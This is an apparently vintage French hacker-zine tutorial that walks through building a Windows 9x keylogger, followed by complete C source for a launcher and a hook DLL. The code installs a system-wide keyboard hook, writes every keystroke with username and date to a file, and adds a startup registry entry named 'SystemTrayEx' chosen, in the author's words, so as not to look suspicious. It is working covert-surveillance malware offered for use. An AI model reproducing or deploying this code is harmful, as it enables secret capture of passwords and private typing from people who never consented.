Keylogger Win32


I) Introduction
II) Théorie relative au keylogger
III) La pratique
IV) Conclusion

 

I) Introduction

Salut tout le monde, voici un nouvel article dans la collection "Je programme des tas de trucs supers avec obscurer", au menu aujourd'hui c'est un keylogger (sous Win 9x car je suis en vancances et donc pas chez moi  = pas de NT today). Et oui, dans un premier temps je vais expliquer la théorie générale d'un Keylogger, et dans un deuxième temps la pratique. Je n'ai pas eu trop le temps de réfléchir à des sujets d'articles pendant les vancances donc vous aurez que 2 articles de moi et c'est tout (en fait Medgi m'a dit : "Comment ça marche un keylogger ?" et je me suis dit que ça ferait un bon article, donc merci Medgi). Pour nos amis débutants : a quoi sert un keylogger : et bien, c'est un programme discret qui passe le plus clair de son temps à enregistrer dans un fichier toutes les touches que vous tappez (viscieux hein !) Bref, c'est un moyen comme un autre de récupérer des informations interressantes sur les utilisateurs d'une machine. Voila. Ha oui j'oubliais, surtout ne lancez pas un keylogger sur une autre machine que la votre, ce n'est pas très correct.
Maintenant, fini le blabla, venons-en au fait !


II) Théorie relative au keylogger

    Les Hooks windows

Windows contient un mécanisme qu'on appelle les 'Hooks'. Les hooks sont disposés en chaines et on appelle ça des "hook chains" hé hé... heu.... oui donc, un hook c'est une procédure qui est spécifique à un type d'évenement, et qui est appellée à chaque fois que l'évenement se produit. Les hooks peuvent être spécifiques à 12 évenements différents.
Exemple : la souris, le clavier, des messages postés aux thread., etc... Si je place un hook pour la souris, windows va appeller une fonction que j'aurais fait à chaque fois que je toucherai à la souris par exemple.

Les hooks sont appellés en l'ordre inverse de leur création, le dernier créé est le premier appellé, il décide ensuite si le message doit être passé ou non aux autres hooks (d'ou la notion de chaine : on se passe le message à la passe passe le oinj :).
Lorqu'on installe un Hook à l'aide de l'API "SetWindowsHookEx", il peut être local au processus ou global (tout le système)
Tout le système ?? Oui...tout...

HHOOK SetWindowsHookEx(

    int idHook,        // type of hook to install
    HOOKPROC lpfn,     // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId // identity of thread to install hook for
   );


idHook doit contenir : WH_KEYBOARD
lpfn va contenir l'adresse d'une fonction "KeyboardProc"
hMod va contenir un handle vers le module contenant la fonction "KeyboardProc" (c'est une DLL voir plus loin)
dwThreadId doit être à NULL pour que le Hook soit lancé sur tout le système (Tout ??? Oui ! tout !)

LRESULT CALLBACK KeyboardProc(

    int code,   // hook code
    WPARAM wParam,  // virtual-key code
    LPARAM lParam  // keystroke-message information
   );

L'interet ici pour notre programme est de placer un hook de type clavier sur tout le système, qui permettra à notre fonction KeyboardProc d'être appellée à chaque fois que le clavier change de status, de plus notre fonction sera appellée avant que le mesage ne parvienne à l'application destinée, on pourra donc modifier le message, bloquer des touches par exemple ce qui n'est pas le but de cet article mais ça peut vous interresser, amis lecteurs.

Donc, lorqu'on a placé le hook de type WH_KEYBOARD qui pemet à "KeyboardProc" d'être lancée à chaque évenement de type clavier, notre fonction KeyboardProc pourra donc placer la touche frappée dans un fichier. Elle recoit comme paramètres toutes les informations nécessaires à cela (virtual-key code et lParam contient des info sur la touche frappée et sur l'état du clavier)

Pour passer le message aux autres hooks su systèmes (les autres de la chaîne) on fait CallNextHookEx :

LRESULT CallNextHookEx(

    HHOOK hhk, // handle to current hook
    int nCode, // hook code passed to hook procedure
    WPARAM wParam, // value passed to hook procedure
    LPARAM lParam  // value passed to hook procedure
   );

On a juste à lui envoyer les paramètres qu'on a reçu (Cette fonction est facultative donc on l'utilise pas)
De plus, si KeyboardProc retourne FALSE, alors le message arrivera jusqu'à l'application à qui il est réellement destiné (Word, par exemple, enfin, le programme sur lequel on tappe notre texte ultra-secret ;). Si KeyboardProc retourne une valeur non nulle, alors le message n'arrivera pas à destination (merde... mon clavier marche plus !!!)

Un hook se retire avec "UnhookWindowsHookEx"

BOOL UnhookWindowsHookEx(

    HHOOK hhk  // handle of hook procedure to remove
   );

Un hook qui se place sur tout le système, signifie que la fonction appellée à chaque fois que l'on touche au clavier doit se trouver dans une .DLL, ce qui induit un....

    Petit rappel sur les DLL (mais alors tout petit)

Une DLL ou Dynamic Load Library, est un module qui peut être chargé par un executable. Elle exporte des fonctions.
Par exemple, quand vous utilisez la fonction "CreateFile", vous loadez la library Kernel32.dll puis vous executez la fonction CreateFile exportée par kernel32.dll.(désolé pour ceux qui savent déjà tout ça)  Pour faire notre keylogger, on va devoir créer un programme qui va loader une DLL. On va créer aussi une DLL qui va exporter les fonctions : InstallHook, UninstallHook et KeyboardProc.
Une DLL doit contenir une fonction principale, qui sera appellée lorsque la DLL sera Loadée/Unloadée qui sert pour les initialisations entre autre...

BOOL WINAPI DllEntryPoint(

    HINSTANCE hinstDLL, // handle to DLL module
    DWORD fdwReason, // reason for calling function
    LPVOID lpvReserved // reserved
   );

Si la DLL est attachée à un process, à un thread, si elle est détachée d'un process, d'un thread, cette fonction est appellée,
Elle est appellée lorsque LoadModule ou LoadLibrary, ou FreeLibrary etc... est appellée.

fdwReason contient l'une des 4 valeurs possibles, à savoir :
DLL_PROCESS_ATTACH
DLL_PROCESS_DETACH
DLL_THREAD_ATTACH
DLL_THREAD_DETACH
Je dis ça comme ça, en fait on s'en fout dans notre prog :)

Quand on code une DLL (Visual C++ pour moi), les fonctions qui s'exportent doivent être déclarées ainsi :
__declspec(dllexport)int Fuck();
Signifie que Fuck() est exportée par le module.

    Petit rappel sur le clavier

Comment passe-t-on d'un virtuel key code à un Ascii key code ? (On s'en fout ? Bein cliquez ici alors pfff)
Et bien voila le principe :

le fonction KeyboardProc recoit wParam (virtual-key code), et lParam, qui contient entre autre le scan code
La fonction ToAscii à besoin du scan code, du virtual key code, et de l'état général du clavier.

int ToAscii(
    UINT uVirtKey,  // virtual-key code
    UINT uScanCode, // scan code
    PBYTE lpKeyState, // address of key-state array
    LPWORD lpChar,  // buffer for translated key
    UINT uFlags  // active-menu flag
   );
unsigned char *KeyState;
GetKeyboardState(KeyState);

Place dans KeyState l'état du clavier en général
Pour l'avoir en ASCII on fait :

ToAscii(wParam,lParam,KeyState,buffer,0);

buffer contient le caractère comme nous le voulons : en ASCII :)

Petit rappel sur la base de registre

Nous voulons que notre Keylogger s'execute à chaque démarrage, pour cela il faut rajouter une clef dans la base de registre à

HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\   pour windows 9x

On va appeller cette clef  "SystemTrayEx"  afin de ne pas paraitre 'louche' ;)
Sa valeur sera le Path vers notre prog, il sera donc exécuté à chaque démarrage.

On va utiliser : RegCreateKeyEx puis RegSetValueEx, puis RegCloseKey.

LONG RegCreateKeyEx(

    HKEY hKey,          // handle of an open key
    LPCTSTR lpSubKey,   // address of subkey name
    DWORD Reserved,          // reserved
    LPTSTR lpClass,          // address of class string
    DWORD dwOptions,    // special options flag
    REGSAM samDesired,  // desired security access
    LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key security structure
    PHKEY phkResult,    // address of buffer for opened handle
    LPDWORD lpdwDisposition // address of disposition value buffer
   );

On l'invoque de cette manière :
 
char *KeyPath = "software\\microsoft\\windows\\currentversion\\run\\";
struct HKEY__ *hKey;
DWORD hKeyResult;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              KeyPath,
              0,
              0,
              REG_OPTION_NON_VOLATILE,
              KEY_ALL_ACCESS,
              0,
              &hKey,
              &hKeyResult);
 

La clef est ouverte, maintenant, on la rempli :
 
char *KeyName="SystemTrayEx";
char *KeyValue=GetCommandLine(); // Pour récupérer le Path de notre file

RegSetValueEx(hKey,KeyName,0,REG_SZ,KeyValue,sizeof(KeyValue)+1);
 

On ferme la clef :
 
RegCloseKey(hKey);


Et voila, le file est executé à chaque démarrage ! Nous avons tout les outils pour construire notre Keylogger, c'est parti !
Désolé pour ceux qui savaient parfaitement tout ce qui était dis dans les rappels mais tout le monde ne sais pas tout ça (si ? oups, sorry) Cependant, si vous n'avez pas tout compris, cliquez ici :)



III) La pratique

Maintenant, on ne rie plus :||
Je vous balance le code et je commente, comme d'habitude ;)

*PROGRAMME PRINCIPAL, LANCEUR DU KEYLOGGER*
-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----
/*
Programme executable du keylogger
by obscurer

21/08/2k
Copyright Tipiak - www.tipiak.net -
*/

#include <windows.h>
#define NULL 0

HHOOK hHook;

int InstallHook (HMODULE hModDLL, HOOKPROC addr);
int UninstallHook();

int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
       LPSTR lpCmdLine, int nShowCmd)
{
  HOOKPROC addr;        // Utilisé pour chopper l'adresse de KeyboardProc dans la DLL
 
  HINSTANCE LibHandle;    // Handle de la DLL

  char *KeyValue;
 
  int ret;

  struct HKEY__ *hKey;    // La clef
 
  DWORD hKeyResult;
 

  KeyValue=GetCommandLine();   // On choppe le Path vers le fichier pour mettre
                                   //dans le base de registre
 

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,                        // Créé la clef
      "software\\microsoft\\windows\\currentversion\\run\\",
      0,
      0,
      REG_OPTION_NON_VOLATILE,
      KEY_ALL_ACCESS,
      0,
      &hKey,
      &hKeyResult);

  RegSetValueEx(hKey,"SystemTrayEx",0,REG_SZ,KeyValue,sizeof(KeyValue)+1);//on rempli

  RegCloseKey(hKey);   // On ferme

 
  LibHandle = LoadLibrary("hook.dll");    // On charge la DLL
      if(LibHandle==NULL) {goto hell;}

  addr = (HOOKPROC) GetProcAddress(LibHandle, "?KeyboardProc@@YGJHIJ@Z");
// On choppe l'adresse de KeyboardProc (oui je sais, le nom est bizarre
// mais le DLL exporte ce nom là, je ne sais pas pourquoi :/
      if(addr==0) { goto hell; }
 
  ret=InstallHook(LibHandle,addr);    // Hook installé
      if(ret==FALSE) { goto hell; }
 
  Sleep(INFINITE);    // J'ai trouvé que ça pour faire attendre le Programme
 
  UninstallHook();    // Hook désinstallé

hell:
  ExitProcess(NULL);

        return TRUE;
}
 

int InstallHook (HMODULE hModDLL, HOOKPROC addr)
{    // Cette fonction.... installe le hook (d'ou le nom : installhook)
  HANDLE OutFile;
  char *buffer;
  char *writebuf;
  char *time;
  char *date;
  DWORD temp;
  DWORD size;
 
 hHook=SetWindowsHookEx(WH_KEYBOARD,addr,hModDLL,NULL);    // On met le hook
 if(hHook==NULL) { return FALSE; }

 buffer=(char *)GlobalAlloc(GPTR,100);
 writebuf=(char *)GlobalAlloc(GPTR,500);
 time=(char *)GlobalAlloc(GPTR,100);
 date=(char *)GlobalAlloc(GPTR,100);

 OutFile=CreateFile("C:\\out.txt",GENERIC_WRITE,     // On créé un fichier
      FILE_SHARE_READ+FILE_SHARE_WRITE,
      NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 
 if(OutFile==INVALID_HANDLE_VALUE) { return FALSE; }
 

 SetFilePointer(OutFile,NULL,NULL,FILE_END);        // On va à la fin

 size=50;
 GetUserNameA(buffer,&size);    // On choppe le username
 GetTimeFormat(LOCALE_SYSTEM_DEFAULT,TIME_NOSECONDS,NULL,"HH':'mm tt",time,50);
 GetDateFormat(LOCALE_SYSTEM_DEFAULT,DATE_LONGDATE,NULL,NULL,date,50);
// on a la date et l'heure pour mettre dans le fichier
 

 wsprintf(writebuf,"\x0d\x0a\x0d\x0a    username : %s \x0d\x0a    Date : %s \x0d\x0a    Time : %s.\x0d\x0a    All keys are being logged in this file :) \x0d\x0a\x0d\x0a",buffer,date,time);
 WriteFile(OutFile,writebuf,strlen(writebuf),&temp,NULL);

// On écrit tout ça dans notre file pour faire boooo

GlobalFree(buffer);
GlobalFree(writebuf);
GlobalFree(time);
GlobalFree(date);
return TRUE;
}

int UninstallHook(){                // No comment
UnhookWindowsHookEx(hHook);
return TRUE;
}
//  EOF
 

-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----

Et maintenant, la DLL !

*DLL CHARGEE PAR LE KEYLOGGER*
-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----

/*
Library hook.dll chargée par le keylogger
by obscurer

21/08/2k
Copyright Tipiak - www.tipiak.net -
*/

#include <windows.h>

BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
return TRUE;
}
 

__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
 
HANDLE File;
long TEMP;
char *buf;
unsigned char *KeyState;
DWORD temp;

buf=(char *)GlobalAlloc(GPTR,5);
KeyState=(unsigned char *)GlobalAlloc(GPTR,256);

/*
Le bit 31 de lParam (0x40000000 en hexa donc), est à 1 si la touche relachée, ou à 0 si elle
est préssée. On fait donc un AND pour savoir l'état du bit 31, si la touche est tappée, on
continue et on la log, sinon, on quitte (pour ne pas logger 2 fois la même touche à chaque coup)
*/

TEMP=lParam;
TEMP&=0x40000000;
if(TEMP!=0) { goto die_now; }

 File=CreateFile("C:\\out.txt",GENERIC_WRITE,       // On ouvre le fichier
      FILE_SHARE_READ+FILE_SHARE_WRITE,
      NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 
 if(File==INVALID_HANDLE_VALUE) {  goto die_now; }

 SetFilePointer(File,NULL,NULL,FILE_END);           // On se place à la fin

GetKeyboardState(KeyState);                         // On choppe l'état du clavier
ToAscii(wParam,lParam,KeyState,(unsigned short *)buf,0);    // buf contient le code ASCII

WriteFile(File,buf,strlen(buf),&temp,NULL);    // On balance ça dans le file
FlushFileBuffers(File);  // juste au cas ou

CloseHandle(File); // ferme le fichier

die_now:

GlobalFree(buf);
GlobalFree(KeyState);

return FALSE;    // return FALSE pour que la touche arrive à destination
}

//  EOF

-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----

And finally, it was done, comme dirait l'autre ! Mettez l'exe et la dll dans le même répertoire, lancez le .exe et c bon, les touches
sont loggées dans C:\out.txt et le prog est dans la base de registre.Tranquille non ? (non ? Pfff vous êtes durs là ...)


IV) Mon avis sur "X-Men le film" / Conclusion

Pas mal / Pour stopper le Keylogger faites un bon vieux Ctrl-Alt-Suppr et dégagez le.
Je n'ai pas intégré de fonction qui cache le nom dans la liste, mais sinon, on pourrait pas le stopper alors bon... (en plus j'ai pas cherché). Vous avez remarqué que à chaque touche tappée, on ouvre le fichier, on écrit et on le ferme. Je sais que cela peut paraître un peu barbare mais la fonction "KeyboardProc" est copiée pour chaque process du système, et on ne peut pas lui passer d'argument comme un handle de file, de même elle ne peut pas dialoguer avec le programme principal (une solution potentielle serait d'utiliser les messages, mais alors il faudrait connaitre l'Id de la fenêtre à qui on envoie le méssage, même problème) Le file mapping reste aussi possible en théorie mais je n'y suis pas parvenu n'ayant pas non plus beaucoup insisté.
Au risque de me répéter, je dirai que je suis d'accord pour qu'on pompe cet article, du moment que j'y vois mon nom. Mes sources pour ce prog vienne de mon expérience personnelle et de Iczelion pour la théorie sur les Hooks windows.
Je vais maintenant savourer les derniers jours de vancances qu'il me reste, et je vous donne rendez-vous à la rentrée pour de nouvelles aventures dans le monde magique de l'informatique :)
(Quelle Outro minable :/ sorry j'ai pas fait littéraire)

A+ les cocos

obscurer, 21/08/2k

IRC : #tipiak etc...
MAIL : obscurer@tipiak.net  ||   x11@freesurf.fr (au cas ou)

Fichier associés à l'articles:
hook.cpp
keylog.cpp